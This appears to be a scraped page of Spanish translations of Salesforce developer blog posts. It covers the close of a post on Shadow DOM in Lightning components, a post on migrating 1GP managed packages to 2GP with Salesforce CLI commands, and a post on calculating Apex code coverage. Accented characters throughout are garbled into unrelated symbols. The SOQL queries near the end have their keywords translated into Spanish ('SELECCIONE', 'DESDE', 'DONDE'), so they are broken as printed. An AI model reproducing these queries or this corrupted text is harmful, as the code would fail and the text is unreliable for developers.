En resumen, estamos logrando avances significativos al preparar los componentes base de Lightning para adoptar Shadow DOM nativo, lo que garantizar谩 un mejor rendimiento y la alineaci贸n con los est谩ndares de los componentes web, adem谩s de mejorar la seguridad y la confiabilidad de los componentes. Al encapsular la estructura DOM interna, nos esforzamos por brindar una experiencia m谩s s贸lida y predecible tanto para los desarrolladores como para los usuarios.

Si bien estos cambios pueden presentar algunos desaf铆os iniciales, son pasos necesarios hacia un sistema m谩s estandarizado y preparado para el futuro. Seguimos comprometidos a informar y apoyar a los desarrolladores durante esta transici贸n.

En preparaci贸n para estos cambios, recomendamos adoptar ganchos de estilo y m茅todos de orientaci贸n como clases para garantizar que el uso de CSS siga siendo modular y adaptable. Adem谩s, recomendamos enf谩ticamente adoptar UTAM como su soluci贸n de prueba de extremo a extremo.

Est茅n atentos a m谩s actualizaciones y cambios a medida que Salesforce contin煤a optimizando y mejorando el marco de componentes Lightning. Al adoptar estas pr贸ximas mejoras, los desarrolladores pueden esperar una experiencia de desarrollo m谩s fluida y eficiente mientras crean aplicaciones poderosas en la Plataforma Salesforce.

M谩s recursos

Sobre los autores

Maeve Tuntivate es Gerente s茅nior en el equipo de Gesti贸n de productos en Salesforce.

Jesse Brack es ingeniero principal de UX en el equipo de ingenier铆a de sistemas de dise帽o de Salesforce.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Mu茅vete a 2GP Administrado con Migraciones de Paquetes 鈽侊笍

Mu茅vete a 2GP Administrado con Migraciones de Paquetes 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Pasar a 2GP administrado con migraciones de paquetes | Blog de desarrolladores de Salesforce

Han pasado casi cuatro a帽os desde que lanzamos por primera vez el paquete administrado de segunda generaci贸n (2GP) , que permite a nuestros socios de AppExchange crear y distribuir soluciones utilizando un modelo de desarrollo basado en CLI, basado en fuente y f谩cil de automatizar.

Desde entonces, recibimos una gran cantidad de excelentes comentarios de nuestra comunidad de desarrolladores, y continuamos innovando en m煤ltiples 谩reas relacionadas con la experiencia del desarrollador, el rendimiento, la paridad del tipo de metadatos con el paquete administrado de primera generaci贸n (1GP), etc. Cada vez que nos reunimos con desarrolladores de ISV, constantemente escuchamos sobre la necesidad de que Salesforce los ayude a ellos y a sus clientes a pasarse al mundo de 2GP.

隆Hoy, tengo algunas noticias emocionantes para compartir con todos ustedes! Estamos abordando la pregunta n.潞 1 de nuestros desarrolladores de ISV al presentar una nueva funci贸n: Migraciones de paquetes . En pocas palabras, Package Migrations automatiza por completo el proceso de convertir paquetes 1GP a 2GP y migra sin problemas a los clientes con paquetes instalados a 2GP. Si es un socio ISV que crea paquetes administrados, 隆esta publicaci贸n de blog es para usted!

Antes de sumergirnos en los detalles de las migraciones de paquetes, echemos un vistazo a algunos beneficios de usar 2GP para el desarrollo de paquetes.

Beneficios de usar 2GP para el desarrollo de paquetes

En el coraz贸n de 2GP se encuentra un modelo de desarrollo basado en fuente, donde un repositorio de c贸digo fuente como Git representa la fuente de la verdad para su paquete. Esto es fundamentalmente diferente del mundo de 1GP, donde utiliza una organizaci贸n de empaquetado para mantener todos los metadatos que desea empaquetar y distribuir a sus clientes.

Este modelo de desarrollo impulsado por la fuente, impulsado por la CLI de Salesforce , puede aumentar dr谩sticamente la productividad y la colaboraci贸n de su equipo. Los desarrolladores pueden usar Dev Hub para activar r谩pidamente organizaciones temporales , crear una funci贸n de forma conjunta y comprometerla con el control de c贸digo fuente. Cuando est茅 listo para distribuir una nueva versi贸n de su 2GP, simplemente extraiga la rama correspondiente a una m谩quina local y use la CLI para crear su nueva versi贸n del paquete.

Es importante destacar que este enfoque basado en CLI tambi茅n significa que puede integrar f谩cilmente su proceso de empaque por completo en CI/CD, lo que facilita la automatizaci贸n completa de su flujo de trabajo. Puede, por ejemplo, ejecutar autom谩ticamente Salesforce Code Analyzer en una base de c贸digo y, siempre que no se encuentren problemas, crear una nueva versi贸n del paquete.

En el mundo de 1GP, estabas atrapado usando un espacio de nombres diferente para cada uno de tus paquetes. En 2GP, todos sus paquetes pueden compartir el mismo espacio de nombres, lo que le permite aprovechar un enfoque verdaderamente modular para el desarrollo de paquetes para mantener sus paquetes bien organizados. Tambi茅n es posible declarar expl铆citamente dependencias entre paquetes , asegurando que todo funcione en conjunto sin problemas.

Con 2GP, tambi茅n obtiene un control de versiones flexible, lo que le permite abandonar versiones de paquetes que ya no desea utilizar. En su lugar, puede especificar un ancestro de la versi贸n del paquete y crear efectivamente una nueva rama en la que desee continuar con su desarrollo.

Finalmente, apoyar a los clientes nunca ha sido tan f谩cil con 2GP. En el mundo de 1GP, los parches solo se pueden crear desde una organizaci贸n de parches. Con el modelo de desarrollo basado en el c贸digo fuente de 2GP, puede simplemente crear una versi贸n del paquete de parches directamente desde la CLI y, siempre que el parche cumpla con los requisitos relacionados con los cambios menores y la ascendencia del paquete, se crea y est谩 listo para instalarse en la organizaci贸n de su cliente.

Dicho todo esto, 2GP puede agregar mucho valor a su proceso de desarrollo. 隆Ahora, averig眉emos c贸mo las Migraciones de paquetes pueden ayudarlo a llegar al mundo de 2GP!

Introducci贸n a las migraciones de paquetes

Package Migrations ampl铆a la funcionalidad de 2GP con comandos CLI adicionales y capacidades adicionales para ayudar a los desarrolladores de ISV a realizar una transici贸n completa al mundo de 2GP. Actualmente se encuentra en Developer Preview y est谩 abierto para que todos los desarrolladores de ISV lo prueben en sus paquetes 1GP existentes. 隆Siga leyendo para saber c贸mo participar en la versi贸n preliminar para desarrolladores!

Hay dos elementos para las migraciones de paquetes: conversi贸n de paquetes y migraci贸n de paquetes.

La conversi贸n de paquetes se inicia a trav茅s del nuevo comando sf package convert . Toma una versi贸n espec铆fica de su paquete 1GP existente (Acme v1.0 en este ejemplo) y usa algo de magia detr谩s de escena para convertirlo en una versi贸n de paquete 2GP correspondiente (Acme v1.0.0.1 usando la numeraci贸n de versi贸n 2GP).

Una vez que tenga una versi贸n de paquete 2GP convertida, puede migrar clientes a 2GP. Si tiene un suscriptor con Acme v1.0 instalado, iniciar铆a el proceso trat谩ndolo como una actualizaci贸n de paquete normal: a trav茅s de la CLI con sf package install (ver documentos ), instalaci贸n de URL o actualizaciones autom谩ticas.

Mientras intenta instalar su paquete 2GP convertido v1.0.0.1, que coincide con la versi贸n mayor.menor del paquete 1GP instalado en el suscriptor A, ejecutamos una nueva l贸gica que inicia el proceso de migraci贸n del paquete . Sin cambiar ning煤n metadato en la organizaci贸n del cliente, y sin requerir la intervenci贸n del usuario si usa actualizaciones autom谩ticas, simplemente cambiamos las referencias del paquete para que apunten al nuevo paquete 2GP.

Una vez que un cliente migre a 2GP, cualquier parche o actualizaci贸n del paquete de este cliente deber谩 usar 2GP.

Participaci贸n en la versi贸n preliminar para desarrolladores de migraciones de paquetes

Para probar las migraciones de paquetes, debe ser un socio ISV con acceso a la comunidad de socios de Salesforce .

En la Comunidad de socios, encontrar谩 un canal exclusivo para esta versi贸n preliminar para desarrolladores. Le recomendamos que se una a este canal y configure las notificaciones para enviar por correo electr贸nico cada publicaci贸n para recibir las 煤ltimas actualizaciones del equipo de Migraciones de paquetes.

En este canal, encontrar谩 una serie de enlaces 煤tiles, incluido un formulario para registrarse en Developer Preview. Necesitaremos algunos detalles, como su ID de organizaci贸n de empaquetado, para que podamos activar la funci贸n Migraciones de paquetes.

Es importante destacar que participar en Developer Preview no tendr谩 ning煤n impacto en su paquete de 1GP. Por lo tanto, no se preocupe y participe, ya que sus comentarios son esenciales para ayudarnos a identificar y resolver problemas lo antes posible.

Una vez que est茅 activado, puede comenzar a probar las migraciones de paquetes.

Probar la conversi贸n de un paquete administrado de primera generaci贸n

Muy bien, 隆comencemos! En primer lugar, aseg煤rese de haber instalado la CLI de Salesforce.

Si lo instal贸 anteriormente, aseg煤rese de estar usando la 煤ltima versi贸n:

sf update

Ahora aseg煤rese de que est谩 ejecutando dentro del contexto de un proyecto de SalesforceDX. Puedes crear un nuevo proyecto usando:

sf project generate --name <Your project name>

Vincule el espacio de nombres de su 1GP administrado iniciando sesi贸n en su DevHub y siga los pasos .

隆Eso es todo para la configuraci贸n! Ahora puede continuar e intentar convertir su paquete.

sf package convert --installation-key mdpTest --package 033xxx --wait 20

Repasemos los par谩metros. Estamos utilizando la clave de instalaci贸n mdpTest . Ser谩 necesario cada vez que intente instalar esta versi贸n del paquete en el futuro. Alternativamente, puede usar --installation-key-bypass para omitir la clave de instalaci贸n. Deber谩 ingresar su ID de paquete 1GP completo comenzando con 033 despu茅s de --package . El proceso de conversi贸n puede demorar un poco y, por lo tanto, agregamos la opci贸n --wait para esperar 20 minutos.

A medida que se ejecuta el proceso de conversi贸n, obtendr谩 una actualizaci贸n de su estado. Suponiendo que todo sali贸 bien, recibir谩 un mensaje de 茅xito con la ID y la URL de instalaci贸n para la versi贸n del paquete 2GP reci茅n convertida.

Converting Package... ... Successfully created the package version [08cxxx00000KzFSAA0]. Subscriber Package Version Id: 04txxx00000u1cqAAA
Package Installation URL: https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA
As an alternative, you can use the "sfdx package:install" command.

隆Felicitaciones, su paquete ahora est谩 convertido a 2GP! Si encontr贸 alg煤n problema en el camino, inf贸rmenos utilizando el formulario en el grupo Comunidad de socios .

Nota: Al momento de escribir esta publicaci贸n de blog, este comando convertir谩 la 煤ltima versi贸n administrada y lanzada de su paquete. Estamos trabajando para permitirle convertir versiones de paquetes Beta y anteriores. Por otro lado, durante Developer Preview, no es posible promocionar paquetes 2GP convertidos al estado Lanzado.

Ahora que su paquete est谩 convertido, probemos la migraci贸n de una organizaci贸n suscriptora.

Probar la migraci贸n de un paquete administrado de primera generaci贸n instalado

Para probar la migraci贸n de un suscriptor, deber谩 crear una organizaci贸n borrador ya que, durante la versi贸n preliminar para desarrolladores, solo admitimos organizaciones borrador. Puede configurar una nueva organizaci贸n borrador como esta:

sf org create scratch -f project-scratch-def.json -a MyScratchOrg

En el c贸digo anterior, -f apunta a su archivo de definici贸n de organizaci贸n borrador . Debe asegurarse de que su archivo de definici贸n de organizaci贸n borrador incluya cualquier funci贸n de Salesforce de la que pueda depender su paquete. Finalmente, estamos usando MyScratchOrg como el alias de esta organizaci贸n.

Con la configuraci贸n de la organizaci贸n borrador, contin煤e e instale la versi贸n del paquete 1GP que convirti贸 anteriormente utilizando la URL de instalaci贸n que obtiene de su organizaci贸n de empaquetado 1GP. Esta deber铆a ser su 煤ltima versi贸n administrada y lanzada en este momento.

Puede confirmar que el paquete se instal贸 correctamente durante la pantalla de instalaci贸n. Vea el ejemplo a continuaci贸n.

Y consulte la secci贸n Paquetes instalados del men煤 Configuraci贸n.

Ahora que instal贸 su 1GP en la organizaci贸n borrador, est谩 listo para la migraci贸n.

Inicie el proceso de migraci贸n utilizando la URL de instalaci贸n que recibi贸 al final del proceso de conversi贸n del paquete:

https://login.salesforce.com/packaging/installPackage.apexp?p0=04txxx00000u1cqAAA

Ahora pasar谩 por el mismo conjunto de pantallas que el anterior, pero esta vez para su paquete 2GP convertido.

Actualmente, la interfaz de usuario muestra que la "instalaci贸n" se ha completado. En realidad, lo que hicimos fue una migraci贸n de paquetes que se complet贸 con 茅xito.

Tenga en cuenta que en este ejemplo, he usado la segunda compilaci贸n Beta para la versi贸n 1.7, que corresponde a la misma versi贸n mayor.menor que la versi贸n del paquete 1GP instalada anteriormente. Como el 2GP convertido, durante la Vista previa del desarrollador, se crea como una versi贸n Beta, se muestra como tal.

Una vez m谩s, puede confirmar la versi贸n del paquete actualizado en la secci贸n Paquetes instalados del men煤 Configuraci贸n, que tambi茅n muestra, en este ejemplo, que el n煤mero de versi贸n es 1.7 (Beta 2).

Una vez que haya migrado el paquete en su organizaci贸n borrador, le recomendamos que lo pruebe para asegurarse de que funciona como se esperaba.

Tambi茅n debe aprovechar la oportunidad para verificar si las aplicaciones, como la aplicaci贸n de administraci贸n de licencias o la aplicaci贸n de administraci贸n de funciones, muestran la informaci贸n correcta para su paquete migrado. Si encuentra algo que no est谩 bien, por favor plant茅elo como un problema y lo investigaremos.

Mientras tanto 鈥

Se necesitar谩n algunos lanzamientos para que las migraciones de paquetes est茅n disponibles de forma general. Su participaci贸n en Developer Preview, probando sus paquetes y brind谩ndonos comentarios, es esencial para ayudarnos a identificar y resolver problemas antes.

Mientras tanto, 驴qu茅 m谩s puedes hacer? Le recomendamos que experimente con el uso de paquetes de segunda generaci贸n como parte de su modelo de desarrollo actual basado en 1GP. 驴Confundido? Dejame explicar.

Como mencion茅 anteriormente, hay una serie de ventajas espec铆ficas de 2GP. De estos, hay algunos de los que puede comenzar a beneficiarse hoy. Estos son los pasos que puede seguir:

  1. Puede configurar su control de c贸digo fuente y alimentarlo con metadatos extra铆dos de su organizaci贸n de empaquetado.
  2. Puede crear un DevHub y organizaciones borrador derivadas para el desarrollo utilizando metadatos de su control de c贸digo fuente.
  3. Puede crear un paquete 2GP para desarrollo interno y pruebas que reflejen su paquete 1GP, pero usando un espacio de nombres solo interno o el mismo que su paquete 1GP. Las colisiones de espacios de nombres evitar谩n que los paquetes 1GP y 2GP con el mismo espacio de nombres se instalen en el mismo entorno.
  4. Una vez que est茅 satisfecho con el contenido de su paquete 2GP, puede migrar los metadatos desde la rama de control de fuente correspondiente a su organizaci贸n de empaquetado y emitir una nueva versi贸n de su paquete para distribuir a los clientes.

Esto lo ayudar谩 a sumergirse en el mundo de 2GP y, una vez que Package Migrations est茅 disponible de forma general, podr谩 abandonar su modelo de desarrollo de 1GP por completo y pasar por completo a un modelo de desarrollo de 2GP.

Conclusi贸n

Estamos muy entusiasmados con las migraciones de paquetes, pero necesitamos su ayuda para asegurarnos de que sea lo mejor posible. Si es un desarrollador de ISV, contin煤e y reg铆strese para la Vista previa para desarrolladores en la Comunidad de socios.

隆Estamos ansiosos por recibir sus comentarios!

M谩s recursos

Grupo de vista previa para desarrolladores en la comunidad de socios

Embalaje gestionado de segunda generaci贸n (documentaci贸n)

Sobre el Autor

John Belo es director de gesti贸n de productos para productos de experiencia de desarrollador y se centra en migraciones de paquetes, analizador de c贸digo de Salesforce y an谩lisis de aplicaciones de AppExchange. Ha estado en Salesforce durante m谩s de siete a帽os y pas贸 la mayor parte de este tiempo en el equipo de AppExchange. Comenz贸 liderando un equipo de evangelistas t茅cnicos de ISV en EMEA y ahora es parte del equipo de gesti贸n de productos de experiencia de desarrollador, siempre con la intenci贸n de ayudar a los ISV a tener el mayor 茅xito posible.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Calcule la cobertura general del c贸digo en Salesforce

Calcule la cobertura general del c贸digo en Salesforce

脷ltima actualizaci贸n el 12 de mayo de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo calcular la cobertura general del c贸digo en Salesforce?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Compilar todas las clases de prueba
  • Calcule la cobertura de c贸digo de su organizaci贸n
  • Use SOQL a trav茅s de la API de herramientas para calcular la cobertura del c贸digo
  • y mucho m谩s

Isabella Stewart trabaja como administradora de Salesforce en Gurukul On Cloud (GoC). GoC est谩 trabajando con un proveedor externo para implementar Field Service Lightning para mejorar la experiencia del cliente. Isabella recibi贸 una tarea de su gerente para calcular la cobertura de c贸digo en PROD.

Pr谩ctica guiada (nosotros hacemos):

La cobertura de c贸digo es una t茅cnica de prueba que determina qu茅 c贸digo se est谩 probando y qu茅 no se est谩 probando. A menudo se representa como un porcentaje de la cantidad de l铆neas de c贸digo probadas para una clase o desencadenador de Apex.

Realice los pasos a continuaci贸n para obtener una cobertura de c贸digo confiable:

Paso 1: compilar todas las clases de prueba

  1. Vaya a Configuraci贸n | C贸digo personalizado | Ejecuci贸n de pruebas de Apex .
  2. Desmarque Cobertura de c贸digo agregado de solo tienda .
  3. Luego, borre el historial de pruebas navegando a Ver historial de pruebas | Borrar datos de prueba.
  4. El 煤ltimo paso es compilar todas las clases de prueba. Al navegar a Configuraci贸n | C贸digo personalizado | Clases de Apex .

Paso 2: verifique la cobertura general del c贸digo

Una vez que se completen las pruebas unitarias de Apex, verifique la cobertura general del c贸digo para su organizaci贸n siguiendo las instrucciones a continuaci贸n:

  1. Vaya a Configuraci贸n | C贸digo personalizado | Clases de Apex .
  2. Haga clic en Estimar la cobertura de c贸digo de su organizaci贸n .

Tambi茅n puede ejecutar la siguiente consulta para averiguar la cobertura de toda la organizaci贸n. Si consulta desde Developer Console Query Editor, aseg煤rese de seleccionar Use Tooling API .

ApexOrgWideCoverage representa los resultados de las pruebas de cobertura de c贸digo para toda una organizaci贸n.


SELECCIONE Porcentaje cubierto DESDE ApexOrgWideCoverage

El siguiente ejemplo de consulta SOQL recupera resultados de cobertura de c贸digo para una clase o activador espec铆fico:


SELECCIONE TestMethodName, NumLinesCovered, NumLinesUncovered FROM ApexCodeCoverage DONDE ApexClassOrTrigger.Name='AccountTrigger'

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading